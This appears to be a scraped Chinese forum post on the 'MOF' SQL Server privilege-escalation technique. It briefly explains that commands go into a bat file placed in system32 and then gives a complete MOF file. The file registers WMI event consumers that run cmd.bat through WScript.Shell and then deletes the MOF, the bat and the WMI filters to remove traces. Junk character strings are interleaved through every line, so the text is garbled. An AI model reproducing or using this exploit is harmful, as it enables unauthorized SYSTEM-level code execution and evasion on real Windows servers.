这个sql提权MOF需要运行 system下的文件,不能定义路径。9 d1 R. u- H- `8 {( o
需要将要运行的命令写入到bat上传到system32目录,然后执行。
; K3 X# R! `$ S' _# e, j* t; _! W, ]$ N2 P- R" ]2 y
这个sql提权MOF需要运行 system下的文件,不能定义路径。) ^# g$ _% \" _6 Z; s& h5 o
需要将要运行的命令写入到bat上传到system32目录,然后执行。, v: i( {1 ~$ |6 W
; E! o& J6 F' C5 ?$ h2 N% e- V
#pragma
. }4 a1 i4 r0 G9 u5 h( w namespace("\\\\.\\root\\cimv2")/ L$ C% A! {/ |" Q+ S2 V! w
class1 m- A2 W; ~# p; j- Z
MyClass547
' H9 |! A! X1 u { [key]* `% B: C6 a9 v+ x& Y5 A8 D
string# L0 j+ V9 \" Z1 P' j% E
Name;. O1 v4 X b P9 D+ B6 a
};
: N9 E2 o* y' h# A( [; J6 J class$ q% r$ J3 D0 Z: j! ?
ActiveScriptEventConsumer
6 h' W6 V' I6 B) O) } : __EventConsumer { [key], b3 S' g! D1 S
string
; ?- C. a* B2 \0 p9 T% J Name; [not_null]
8 c! i. ^; R$ T' x) i9 Q string
5 k0 {: w5 a% O: H: I8 N: f ScriptingEngine; string& D9 X+ P e4 F$ o3 A9 e* t
ScriptFileName; [template]
6 ^7 {' Q) B# V/ w string c* l1 k4 n* Z) X* B
ScriptText; uint32 KillTimeout;- j; D) ]" K$ |
}; instance of __Win32Provider as $P {
" z, ^9 f, \! I& C) v5 Z( k* M( A% | Name
( f- V- k3 _( }9 x =, M6 p3 @8 g" N4 v( C
"ActiveScriptEventConsumer"; CLSID =
, ?) t' d, t7 @' R. X( A "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
( d$ n6 u% o- R1 e PerUserInitialization9 z6 {7 ]" I p- J' @ ?
= TRUE;
: k* E/ Y8 b( s+ }/ E4 } }; instance of __EventConsumerProviderRegistration { Provider( r3 g/ l3 _! N0 w
= $P; ConsumerClassNames- I( \+ p$ u4 x7 r; \5 j3 C0 ^
=! i6 t: B# K" Z$ y% i" H+ U
{"ActiveScriptEventConsumer"};
1 G3 m' @ o- S+ a. l( U0 r. f. f };0 A* X/ m% D) C2 M: z( c' h
Instance of ActiveScriptEventConsumer
9 ?6 h6 [0 I1 e) j5 i2 L5 H4 | as $cons { Name' l$ `& \* \8 }7 T
=2 a$ n. ?' _! I6 m" F
"ASEC"; ScriptingEngine
1 T1 d4 `7 _2 d. e% J& x+ }; k =
1 ?% F4 k4 p+ w "JScript"; ScriptText
- V# N" \ C; @# R: ? =/ l% I3 y! D+ O; N: l
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
( i: y4 V1 e( N4 w Instance of ActiveScriptEventConsumer
1 p# K* l3 A$ w' x" Z$ H as $cons2 { Name
+ V. D/ [6 @3 i# w* N. [! j* n: ~) W =
. r4 Q% O% q" E" ]: |+ w "qndASEC"; ScriptingEngine
) R% Z& r' ^( u7 _! ^ =
# n- ?( G5 ] j% b7 D "JScript"; ScriptText
8 P9 z" d+ J* B5 L0 W =
6 p2 o+ Q$ q& y/ L! k2 f0 [ "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";" l6 r) W. d7 l, j; {- |
}; instance of __EventFilter as $Filt { Name
% t7 G6 J/ l' V% o- d+ b =
, L: S% c: z, |6 ~; T8 l1 j& X "instfilt"; Query h3 A4 t: M) l' x8 m6 e% N
= R; u+ m4 a) X! L: R0 `
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage& t: A+ f& o! B; J5 C- q
=0 s: D$ w$ i, }! q) _
"WQL"; }; instance of __EventFilter as $Filt2 { Name# {5 [, H' T& |9 C/ B
=. z! P( @3 ?1 ~7 F' o7 c
"qndfilt"; Query
* J$ L3 D( p' w. q* j( p: R =
( m& ]# T0 \8 z7 W, R0 F p/ D "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage
+ ~2 x% q: Q0 |3 { =; g% S) Q' h! a1 a# F+ N
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer
; y: @; y; y+ }7 a3 L = $cons; Filter
' a& [5 G' z6 a( ^* f% K# X = $Filt;
6 X( N! A% b" U0 l$ w0 a! T& y }; instance of __FilterToConsumerBinding as $bind2 { Consumer
* \( R/ a/ D7 L u8 q1 c = $cons2; Filter
7 q8 l Z* F! }+ t! H = $Filt2;
# E' v! a: u) [ F }; instance of MyClass547
; D; w7 p# [! [. x as $MyClass { Name
/ E0 z6 w; S* s& v% j3 z P =" p6 O4 L& T. B L3 {+ |4 o
"ClassConsumer";
" F* K! I$ y [4 P }; |